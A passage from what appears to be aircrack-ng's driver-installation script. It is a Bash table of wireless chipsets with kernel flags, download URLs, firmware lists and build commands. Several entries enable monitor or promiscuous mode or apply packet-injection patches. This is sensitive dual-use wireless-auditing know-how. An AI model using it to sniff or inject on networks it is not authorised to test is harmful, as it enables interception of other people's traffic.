CONFIG_HOSTAP_FIRMWARE_NVRAM=y" DMODULES[$i]="hostap_pci hostap_plx hostap_cs hostap" DI_INIT[$i]="install_hostap $i" DI_DRIVERGET[$i]="wget" DI_DRIVERFILE[$i]="linux-$VANILLA.tar.bz2" DI_DRIVERPATH1[$i]="ftp://ftp.kernel.org/pub/linux/kernel/v2.6/linux-$VANILLA.tar.bz2" DI_DRIVERPATH2[$i]="ftp://ftp.de.kernel.org/pub/linux/kernel/v2.6/linux-$VANILLA.tar.bz2" DI_DRIVEREXDIR[$i]="linux-$VANILLA/drivers/net/wireless/hostap" DI_DRIVERDIR[$i]="hostap" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="hostap-kernel-$VANILLA.patch" DI_PATCHPATH1[$i]="http://patches.aircrack-ng.org/hostap-kernel-$VANILLA.patch" DI_PATCHPATH2[$i]="http://patches.aircrack-ng.org/old/hostap-kernel-$VANILLA.patch" DI_PATCHARG[$i]="-p5" DI_PRECOMP[$i]="" DI_COMPILE[$i]="$MAKE -C $KSRC/ M=$D_DIR/${DI_DRIVERDIR[$i]} modules" DI_INSTALL1[$i]="mkdir -p "$KMOD/kernel/drivers/net/wireless/hostap/"" DI_INSTALL2[$i]="cp -f *.ko $KMOD/kernel/drivers/net/wireless/hostap/" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="http://www.aircrack-ng.org/doku.php?id=hostap" DETECT_USB[$i]="prism2" DETECT_PCI[$i]="Intersil\|Prism" DETECT_CS[$i]="Wireless LAN" i=$(($i+1)) DNAME[$i]="Intel Pro Wireless 2100 B" DSTACK[$i]="0" DMODINFO[$i]="" DMODULE[$i]="ipw2100" DCONFIG[$i]="CONFIG_IPW2100=" DCONFIGS[$i]="CONFIG_IPW2100=m CONFIG_IPW2100_MONITOR=y" DMODULES[$i]="ipw2100" DI_INIT[$i]="" DI_DRIVERGET[$i]="wget" DI_DRIVERFILE[$i]="linux-$VANILLA.tar.bz2" DI_DRIVERPATH1[$i]="ftp://ftp.kernel.org/pub/linux/kernel/v2.6/linux-$VANILLA.tar.bz2" DI_DRIVERPATH2[$i]="ftp://ftp.de.kernel.org/pub/linux/kernel/v2.6/linux-$VANILLA.tar.bz2" DI_DRIVEREXDIR[$i]="linux-$VANILLA/drivers/net/wireless" DI_DRIVERDIR[$i]="ipw2100" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="ipw2100_precomp" DI_COMPILE[$i]="$MAKE -C $KSRC/ M=$D_DIR/${DI_DRIVERDIR[$i]} modules" DI_INSTALL1[$i]="mkdir -p "$KMOD/kernel/drivers/net/wireless/ipw2100/"" DI_INSTALL2[$i]="cp -f ipw2100.ko $KMOD/kernel/drivers/net/wireless/ipw2100/" DF_FIRMFILES[$i]="ipw2100-1.3.fw ipw2100-1.3-i.fw ipw2100-1.3-p.fw" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="2100" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Intel Pro Wireless 2200 (B/G)/2915 (A/B/G)" DSTACK[$i]="0" DMODINFO[$i]="" DMODULE[$i]="ipw2200" DCONFIG[$i]="CONFIG_IPW2200=" DCONFIGS[$i]="CONFIG_IPW2200=m CONFIG_IPW2200_MONITOR=y CONFIG_IPW2200_RADIOTAP=y CONFIG_IPW2200_PROMISCUOUS=y CONFIG_IPW2200_QOS=y" DMODULES[$i]="ipw2200" DI_INIT[$i]="install_ipw2200 $i" DI_DRIVERGET[$i]="wget" DI_DRIVERFILE[$i]="linux-$VANILLA.tar.bz2" DI_DRIVERPATH1[$i]="ftp://ftp.kernel.org/pub/linux/kernel/v2.6/linux-$VANILLA.tar.bz2" DI_DRIVERPATH2[$i]="ftp://ftp.de.kernel.org/pub/linux/kernel/v2.6/linux-$VANILLA.tar.bz2" DI_DRIVEREXDIR[$i]="linux-$VANILLA/drivers/net/wireless" DI_DRIVERDIR[$i]="ipw2200" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="ipw2200-1.1.4-inject.patch" DI_PATCHPATH1[$i]="http://patches.aircrack-ng.org/ipw2200-1.1.4-inject.patch" DI_PATCHPATH2[$i]="http://patches.aircrack-ng.org/old/ipw2200-1.1.4-inject.patch" DI_PATCHARG[$i]="-p1 -f" DI_PRECOMP[$i]="ipw2200_precomp" DI_COMPILE[$i]="$MAKE -C $KSRC/ M=$D_DIR/${DI_DRIVERDIR[$i]} modules" DI_INSTALL1[$i]="mkdir -p "$KMOD/kernel/drivers/net/wireless/ipw2200/"" DI_INSTALL2[$i]="cp -f ipw2200.ko $KMOD/kernel/drivers/net/wireless/ipw2200/" DF_FIRMFILES[$i]="ipw2200-ibss.fw ipw2200-bss.fw ipw2200-sniffer.fw" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="http://www.aircrack-ng.org/doku.php?id=ipw2200" DETECT_USB[$i]="" DETECT_PCI[$i]="2200BG" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Intel Pro Wireless 3945 A/B/G" DSTACK[$i]="0" DMODINFO[$i]="" DMODULE[$i]="ipw3945" DCONFIG[$i]="" DCONFIGS[$i]="" DMODULES[$i]="ipw3945" DI_INIT[$i]="" DI_DRIVERGET[$i]="wget" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="ipw3945.ucode" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="http://www.aircrack-ng.org/doku.php?id=ipw3945" DETECT_USB[$i]="" DETECT_PCI[$i]="3945" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Intel Pro Wireless 3945 A/B/G - raw mode" DSTACK[$i]="" DMODINFO[$i]="" DMODULE[$i]="ipwraw" DCONFIG[$i]="" DCONFIGS[$i]="" DMODULES[$i]="ipwraw" DI_INIT[$i]="" DI_DRIVERGET[$i]="wget" DI_DRIVERFILE[$i]="ipwraw-ng-2.0.0-10072007.tar.bz2" DI_DRIVERPATH1[$i]="http://www.tu-darmstadt.de/~p_larbig/wlan/ipwraw-ng-2.0.0-10072007.tar.bz2" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="ipwraw-ng" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="make" DI_INSTALL1[$i]="make install" DI_INSTALL2[$i]="make install_ucode" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="www.tu-darmstadt.de/~p_larbig/wlan/" DETECT_USB[$i]="" DETECT_PCI[$i]="3945" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Intel Pro Wireless 3945 A/B/G" DSTACK[$i]="2" DMODINFO[$i]="^depends: *mac80211" DMODULE[$i]="iwl3945" DCONFIG[$i]="" DCONFIGS[$i]="" DMODULES[$i]="iwl3945" DI_INIT[$i]="" DI_DRIVERGET[$i]="git" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="http://www.aircrack-ng.org/doku.php?id=ipw3945" DETECT_USB[$i]="" DETECT_PCI[$i]="3945" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Intel Pro Wireless 4965 A/B/G/N" DSTACK[$i]="2" DMODINFO[$i]="^depends: *mac80211" DMODULE[$i]="iwl4965" DCONFIG[$i]="" DCONFIGS[$i]="" DMODULES[$i]="iwl4965" DI_INIT[$i]="" DI_DRIVERGET[$i]="git" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="4965" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Lucent Hermes and Prism II" DSTACK[$i]="0" DMODINFO[$i]="" DMODULE[$i]="hermes" DCONFIG[$i]="CONFIG_HERMES=" DCONFIGS[$i]="CONFIG_HERMES=m CONFIG_PLX_HERMES=m CONFIG_TMD_HERMES=m CONFIG_NORTEL_HERMES=m CONFIG_PCI_HERMES=m CONFIG_PCMCIA_HERMES=m" DMODULES[$i]="hermes orinoco orinoco_nortel orinoco_pci orinoco_plx orinoco_tmd orinoco_cs spectrum_cs" DI_INIT[$i]="install_hermes $i" DI_DRIVERGET[$i]="wget" DI_DRIVERFILE[$i]="orinoco-0.13e-SN-14.tar.bz2" DI_DRIVERPATH1[$i]="http://www.projectiwear.org/~plasmahh/orinoco-0.13e-SN-14.tar.bz2" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="orinoco-0.13e-SN-14" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="$MAKE" DI_INSTALL1[$i]="$MAKE install" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Madwifi[-ng]" DSTACK[$i]="0" DMODINFO[$i]="" DMODULE[$i]="ath_pci" DCONFIG[$i]="" DCONFIGS[$i]="" DMODULES[$i]="wlan_wep ath_rate_sample ath_rate_onoe ath_pci ath_hal ath_rate_amrr ath_rate_minstrel wlan_xauth wlan_tkip wlan_ccmp wlan_acl wlan wlan_scan_ap wlan_scan_sta" DI_INIT[$i]="" DI_DRIVERGET[$i]="wget" DI_DRIVERFILE[$i]="madwifi-trunk-r4104-20100112.tar.gz" DI_DRIVERPATH1[$i]="http://snapshots.madwifi-project.org/madwifi-trunk/madwifi-trunk-r4104-20100112.tar.gz" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="madwifi-trunk-r4104-20100112" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="-p1" DI_PRECOMP[$i]="export KERNELRELEASE=$KVER" DI_COMPILE[$i]="$MAKE" DI_INSTALL1[$i]="madwifi_install" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="http://www.aircrack-ng.org/doku.php?id=madwifi-ng" DETECT_USB[$i]="" DETECT_PCI[$i]="Atheros" DETECT_CS[$i]="atheros\|Atheros" i=$(($i+1)) DNAME[$i]="Prism54" DSTACK[$i]="0" DMODINFO[$i]="" DMODULE[$i]="prism54" DCONFIG[$i]="CONFIG_PRISM54=" DCONFIGS[$i]="CONFIG_PRISM54=m" DMODULES[$i]="prism54" DI_INIT[$i]="" DI_DRIVERGET[$i]="wget" DI_DRIVERFILE[$i]="prism54_r531.tar.gz" DI_DRIVERPATH1[$i]="http://svnweb.tuxfamily.org/dl.php?repname=prism54/prism54&path=%2Ftrunk%2F&rev=531&isdir=1" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="trunk" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="prism54-svn-20050724.patch" DI_PATCHPATH1[$i]="http://patches.aircrack-ng.org/prism54-svn-20050724.patch" DI_PATCHPATH2[$i]="http://patches.aircrack-ng.org/old/prism54-svn-20050724.patch" DI_PATCHARG[$i]="-p1" DI_PRECOMP[$i]="" DI_COMPILE[$i]="$MAKE modules" DI_INSTALL1[$i]="$MAKE install" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="gw3887 isl3886_usb" DF_FIRMFILE[$i]="p54u_firmwares.tar.bz2" DF_FIRMPATH1[$i]="http://prism54.org/firmware/p54u_firmwares.tar.bz2" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="boot/firmware" DF_INSTALLDIR[$i]="" DSITE[$i]="http://www.aircrack-ng.org/doku.php?id=prism54" DETECT_USB[$i]="" DETECT_PCI[$i]="Prism Javelin\|Prism Xbow\|Prism GT\|Prism Duette" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Prism54" DSTACK[$i]="2" DMODINFO[$i]="" DMODULE[$i]="prism54common" DCONFIG[$i]="CONFIG_P54_COMMON=" DCONFIGS[$i]="CONFIG_P54_COMMON=m CONFIG_P54_USB=m CONFIG_P54_PCI=m" DMODULES[$i]="prism54common prism54pci prism54usb" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="gw3887 isl3886_usb" DF_FIRMFILE[$i]="p54u_firmwares.tar.bz2" DF_FIRMPATH1[$i]="http://prism54.org/firmware/p54u_firmwares.tar.bz2" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="boot/firmware" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="Prism Javelin\|Prism Xbow\|Prism GT\|Prism Duette" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Ralink rt2400 (legacy)" DSTACK[$i]="" DMODINFO[$i]="" DMODULE[$i]="rt2400" DCONFIG[$i]="CONFIG_RT2400=" DCONFIGS[$i]="CONFIG_RT2400=m" DMODULES[$i]="rt2400" DI_INIT[$i]="rm -rf source/" DI_DRIVERGET[$i]="cvs" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="-d:pserver:anonymous@rt2400.cvs.sourceforge.net:/cvsroot/rt2400" DI_DRIVERPATH2[$i]="source/rt2400" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="source/rt2400/Module" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="$MAKE" DI_INSTALL1[$i]="$MAKE install" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="RT2400" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Ralink rt2400 (rt2x00)" DSTACK[$i]="0" DMODINFO[$i]="^depends:.*80211" DMODULE[$i]="rt2400pci" DCONFIG[$i]="CONFIG_RT2400PCI=" DCONFIGS[$i]="CONFIG_RT2400PCI=m" DMODULES[$i]="rt2400pci" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="RT2400" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Ralink rt2400 (rt2x00)" DSTACK[$i]="2" DMODINFO[$i]="^depends:.*rt2x00lib" DMODULE[$i]="rt2400pci" DCONFIG[$i]="CONFIG_RT2400PCI=" DCONFIGS[$i]="CONFIG_RT2400PCI=m" DMODULES[$i]="rt2400pci" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="RT2400" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Ralink rt2500 (legacy)" DSTACK[$i]="" DMODINFO[$i]="" DMODULE[$i]="rt2500" DCONFIG[$i]="" DCONFIGS[$i]="" DMODULES[$i]="rt2500" DI_INIT[$i]="rm -rf source/" DI_DRIVERGET[$i]="cvs" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="-d:pserver:anonymous@rt2400.cvs.sourceforge.net:/cvsroot/rt2400" DI_DRIVERPATH2[$i]="source/rt2500" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="source/rt2500/Module" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="$MAKE" DI_INSTALL1[$i]="$MAKE install" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="http://www.aircrack-ng.org/doku.php?id=rt2500" DETECT_USB[$i]="" DETECT_PCI[$i]="RT2500" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Ralink rt2500 (rt2x00)" DSTACK[$i]="0" DMODINFO[$i]="^depends:.*80211" DMODULE[$i]="rt2500pci" DCONFIG[$i]="CONFIG_RT2500PCI=" DCONFIGS[$i]="CONFIG_RT2500PCI=m" DMODULES[$i]="rt2500pci" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="RT2500" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Ralink rt2500 (rt2x00)" DSTACK[$i]="2" DMODINFO[$i]="^depends:.*rt2x00lib" DMODULE[$i]="rt2500pci" DCONFIG[$i]="CONFIG_RT2500PCI=" DCONFIGS[$i]="CONFIG_RT2500PCI=m" DMODULES[$i]="rt2500pci" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="RT2500" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Ralink rt2570 (legacy)" DSTACK[$i]="" DMODINFO[$i]="" DMODULE[$i]="rt2570" DCONFIG[$i]="" DCONFIGS[$i]="" DMODULES[$i]="rt2570" DI_INIT[$i]="rm -rf rt2570-k2wrlz-1.6.3/" DI_DRIVERGET[$i]="wget" DI_DRIVERFILE[$i]="rt2570-k2wrlz-1.6.3.tar.bz2" DI_DRIVERPATH1[$i]="http://homepages.tu-darmstadt.de/~p_larbig/wlan/rt2570-k2wrlz-1.6.3.tar.bz2" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="rt2570-k2wrlz-1.6.3/Module" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="$MAKE" DI_INSTALL1[$i]="$MAKE install" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="http://www.aircrack-ng.org/doku.php?id=rt2570" DETECT_USB[$i]="G122 802.11g rev. B1" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Ralink rt2570 (rt2x00)" DSTACK[$i]="0" DMODINFO[$i]="^depends:.*80211" DMODULE[$i]="rt2500usb" DCONFIG[$i]="CONFIG_RT2500USB=" DCONFIGS[$i]="CONFIG_RT2500USB=m" DMODULES[$i]="rt2500usb" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Ralink rt2570 (rt2x00)" DSTACK[$i]="2" DMODINFO[$i]="^depends:.*rt2x00lib" DMODULE[$i]="rt2500usb" DCONFIG[$i]="CONFIG_RT2500USB=" DCONFIGS[$i]="CONFIG_RT2500USB=m" DMODULES[$i]="rt2500usb" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="" DF_FIRMFILE[$i]="" DF_FIRMPATH1[$i]="" DF_FIRMPATH2[$i]="" DF_FIRMDIR[$i]="" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Ralink rt61 (legacy)" DSTACK[$i]="" DMODINFO[$i]="" DMODULE[$i]="rt61" DCONFIG[$i]="" DCONFIGS[$i]="" DMODULES[$i]="rt61" DI_INIT[$i]="rm -rf source/" DI_DRIVERGET[$i]="cvs" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="-d:pserver:anonymous@rt2400.cvs.sourceforge.net:/cvsroot/rt2400" DI_DRIVERPATH2[$i]="source/rt61" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="source/rt61/Module" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="$MAKE" DI_INSTALL1[$i]="$MAKE install" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="rt2561.bin rt2561s.bin rt2661.bin rt61sta.dat" DF_FIRMFILE[$i]="rt61-1.1.0-b2.tar.gz" DF_FIRMPATH1[$i]="http://prdownloads.sourceforge.net/rt2400/rt61-1.1.0-b2.tar.gz" DF_FIRMPATH2[$i]="http://prdownloads.sourceforge.net/rt2400/rt61-1.1.0-b2.tar.gz" DF_FIRMDIR[$i]="rt61-1.1.0-b2" DF_INSTALLDIR[$i]="" DSITE[$i]="http://www.aircrack-ng.org/doku.php?id=rt61" DETECT_USB[$i]="" DETECT_PCI[$i]="RT61\|RT2600\|RT2561" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Ralink rt61 (rt2x00)" DSTACK[$i]="0" DMODINFO[$i]="^depends:.*80211" DMODULE[$i]="rt61pci" DCONFIG[$i]="CONFIG_RT61PCI=" DCONFIGS[$i]="CONFIG_RT61PCI=m" DMODULES[$i]="rt61pci" DI_INIT[$i]="" DI_DRIVERGET[$i]="" DI_DRIVERFILE[$i]="" DI_DRIVERPATH1[$i]="" DI_DRIVERPATH2[$i]="" DI_DRIVEREXDIR[$i]="" DI_DRIVERDIR[$i]="" DI_PREPATCH[$i]="" DI_PATCHFILE[$i]="" DI_PATCHPATH1[$i]="" DI_PATCHPATH2[$i]="" DI_PATCHARG[$i]="" DI_PRECOMP[$i]="" DI_COMPILE[$i]="" DI_INSTALL1[$i]="" DI_INSTALL2[$i]="" DF_FIRMFILES[$i]="rt2561.bin rt2561s.bin rt2661.bin rt61sta.dat" DF_FIRMFILE[$i]="rt61-1.1.0-b2.tar.gz" DF_FIRMPATH1[$i]="http://prdownloads.sourceforge.net/rt2400/rt61-1.1.0-b2.tar.gz" DF_FIRMPATH2[$i]="http://prdownloads.sourceforge.net/rt2400/rt61-1.1.0-b2.tar.gz" DF_FIRMDIR[$i]="rt61-1.1.0-b2" DF_INSTALLDIR[$i]="" DSITE[$i]="" DETECT_USB[$i]="" DETECT_PCI[$i]="RT61\|RT2600\|RT2561" DETECT_CS[$i]="" i=$(($i+1)) DNAME[$i]="Ralink rt61 (rt2x00)" DSTACK[$i]="2" DMODINFO[$i]="^depends:.*rt2x00lib" DMODULE[$i]="rt61pci" 